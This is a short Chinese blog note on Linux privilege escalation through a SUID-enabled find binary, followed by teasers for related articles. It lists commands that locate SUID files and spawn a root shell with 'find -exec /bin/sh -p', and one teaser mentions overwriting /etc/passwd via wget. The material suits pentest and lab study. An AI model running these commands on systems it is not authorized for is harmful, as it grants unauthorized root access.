小记 SUID find提权

最新推荐文章于 2026-06-19 13:34:30 发布

原创

最新推荐文章于 2026-06-19 13:34:30 发布 · 6.3k 阅读

标签

#shell #安全 #linux

收录于

find提权

姿势一

find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \; -quit

姿势二

touch getshell
find / -type f -name getshell -exec "whoami" \;
find / -type f -name getshell -exec "/bin/sh" \;

姿势三

find / -user root

最低0.47元/天解锁文章

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Crispr-bupt

关注关注

3
点赞
踩
6

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

专栏目录

shell 脚本学习笔记

无意摘花

11-10

1183

1. Linux 脚本编写基础 1.1 语法基本介绍 1.1.1 开头程序必须以下面的行开始（必须方在文件的第一行）： #!/bin/sh 　　符号#!用来告诉系统它后面的参数是用来执行该文件的程序。在这个例子中我们使用/bin/sh来执行程序。　　当编辑好脚本时，如果要执行该脚本，还必须使其可执行。　　要使脚本可执行：编译 chmod +x filename

Suid之find提权靶机渗透实战

PANDA墨森的博客

07-11

1700

这是vulnhub靶机系列文章的第十一篇，本次主要知识点为：drupal漏洞利用，suid提权之find命令靶机下载地址：https://www.vulnhub.com/entry/dc-1-1,292/ 原文链接：https://www.cnblogs.com/PANDA-Mosen/p/13229881.html #001 实验环境攻击机：kali ：192.168.136.129 靶机：192.168.136.136 #002 寻找靶机ip Kali下使用netdisco..

参与评论您还未登录，请先登录后发表或查看评论

Linux提权之SUID提权

CP1024的博客

04-04

4289

Linux提权之SUID提权 SUID提权 1. SUID权限只能设置二进制文件 2. 命令执行者要有二进制文件的执行权 3. 命令执行者执行二进制文件时会获得该程序的属主身份 4. SUID权限只在程序执行中有效即如果root给一个程序赋予了SUID权限，则普通用户在执行该程序过程中，是root权限 cp命令提权以cp为例，这里给cp添加SUID权限做测试，拥有SUID权限的程序会由rwx变成rws 也可以通过find / -perm -u=s -type f 2>dev/null命令来

SUID提权（find配置不当）

ljj20020718的博客

07-19

508

备份passwd文件，使用openssl passwd生成一个密码，再使用python搭建一个http服务，然后使用本地物理机下载passwd备份文件。在本地使用python开启http服务并将passwd备份文件放到该目录下，使用wget -0下载该备份文件并覆盖原有的passwd文件。suid权限解释：当文件被设置了suid权限后表示该文件被执行时会将当前的用户权限暂时切换为文件所有者的权限（所有者一般为root）发现find命令，使用find的-exec参数将wget命令也增加suid权限。

DC-1渗透笔记SUID-find提权

qq_74157343的博客

09-12

318

wp,DC-1

小记SUID -find提权

nini_boom的博客

11-01

2363

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ; 如果有find执行 touch test find . -exec /bin/sh ; -quit 这时候，你就拥有...

Linux SUID权限深度解析：从核心原理到安全加固实战

最新发布

06-19

1091

在Linux系统安全与权限管理中，文件权限是基础而关键的一环。除了常见的读、写、执行权限，Linux还设计了一套特殊权限机制，其中SUID（Set User ID）权限位是实现权限临时提升的核心原理。当可执行文件设置了SUID位，任何用户执行该程序时，进程的有效用户ID（EUID）将切换为文件所有者的ID，而非执行者的真实ID。这一机制的技术价值在于，它允许普通用户安全地执行某些需要更高权限的系统操作（如修改自身密码），而无需被授予完整的root权限，符合最小权限原则。其典型应用场景包括系统管理工具（如pa

linux文件初学学习小记（一）

weixin_30549657的博客

09-17

文件特殊权限： SUID：执行者需要有X权限，执行者在执行本文件时，会暂时获得程序所有者的权力 SGID:执行者需要有X权限，执行者在执行过程中，会获得该程序用户组的支持 SBIT(只对目录有效):需要该执行者对该目录有WX权限，当执行者在该目录下创建文件或目录时，仅有自己于ROOT才能删除 touch filename 更新或者修改filename的访问时间 unmask 修改文...

深度分析linux提权之SUID提权|Find提权|NMAP提权|VIM提权...

qq_60115503的博客

05-07

3411

SUID是Set User ID,SGID是Set Group的意思 SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限,SGID与SUID相似,只是执行程序时获得的是文件属组的权限

linux中利用suid中的find进行root提权遇到的坑

rlenew的博客

12-28

3042

在Linux的提权方式中，有一种是根据suid进行提权。 suid特殊的文件属性，它允许用户执行的文件以该文件的拥有者的身份运行其为文件赋予suid的命令是 chmod + s 文件或者是 chmod 4755 文件一般在获得一台Linux服务器的webshell后考虑提权，Linux下的方式多种多样，而这次主要是讲suid提权中遇到的坑。 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f

LINUX部分suid的提权

qq_50822277的博客

07-21

249

查找具有root权限的文件。

#!/bin/sh简介

u014044624的博客

02-26

7656

openwrt

linux———/bin/sh、 /bin/bash、 /bin/dash的区别

热门推荐

夜风的博客

03-01

10万+

bash bash 是一个为GNU计划编写的Unix shell。它的名字是一系列缩写：Bourne-Again SHell — 这是关于Bourne shell（sh）的一个双关语（Bourne again / born again）。Bourne shell是一个早期的重要shell，由史蒂夫·伯恩在1978年前后编写，并同Version 7 Unix一起发布。bash则在1987年由布莱恩·...

常见的shell用法

落日夕霞的博客

01-17

950

基础 #!/bin/sh # 指解释此脚本的shell路径为/bin/sh，如果没有声明，则脚本将在默认的shell中执行 set -e # 返回值非0脚本退出，如：当访问一个不存在的文件时，脚本将会退出，而不是继续执行，从而出现一些意外的情况 sh test.sh p1 p2 $1 # shell的第一个参数，此处为p1 $2 # shell的第二个参数，此处为p2 $# # shell参数个数，此处为2 mkdir -p dir1/dir2 # 递归创建文件夹 tar -zxvf package

Linux:SUID提权

Elite的博客

03-05

3349

以find命令为例，讲解SUID提权原理

转载：对#!/bin/sh的认识

aet26399的博客

05-08

1451

转载网址：http://blog.163.com/hashes@yeah/blog/static/16867631220101029847420/ 对#!/bin/sh的认识第一次学shell编程，看的文章中说shell程序必须以"#!/bin/sh"开始，也就认为是这样了，虽然知道在shell中以"#"开始的语句都是注释，但也从没认为"#!/bin/sh"也是注释，就像对C语言程...

网安学习-Linux提权

weixin_44770698的博客

07-23

1813

网安学习-Linux提权

Linux常用六种提权方式

qq_59102311的博客

05-08

1万+

SUID（设置用户ID）是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。为可执行文件添加suid权限的目的是简化操作流程，让普通用户也能做一些高权限才能做的的工作。但是如果某些现有的二进制文件和实用程序具有SUID权限的话，就可以在执行时将权限提升为root。原理：SUID提权的原理与Linux进程的UID有关，进程在运行的时候有以下三个UID：（A）Real UID：执行该进程的用户的UID。

Linux中文件查找方法大全

一个人的精彩

05-26

4163

每一种操作系统都是由成千上万个不同种类的文件所组成的。其中有系统本身自带的文件，用户自己的文件，还有共享文件等等。我们有时候经常忘记某份文件放在硬盘中的哪个地方。在微软的Windows操作系统中要查找一份文件是相当简单的事情，只要在桌面上点击“开始”－“搜索”中就能按照各种方式在本地硬盘上，局域网络，甚至在INTERNET上查找各种文件，文档。　　可是使用Linux的用户就没有那么幸运了，在Lin

Linux 权限提升：利用 SUID 程序 “find” 实现本地提权的完整步骤

2501_93878622的博客

11-01

212

此方法仅用于授权渗透测试，实际利用需遵守法律法规。测试后请立即修复系统配置。表示 SUID 位）且所有者是 root，则满足条件。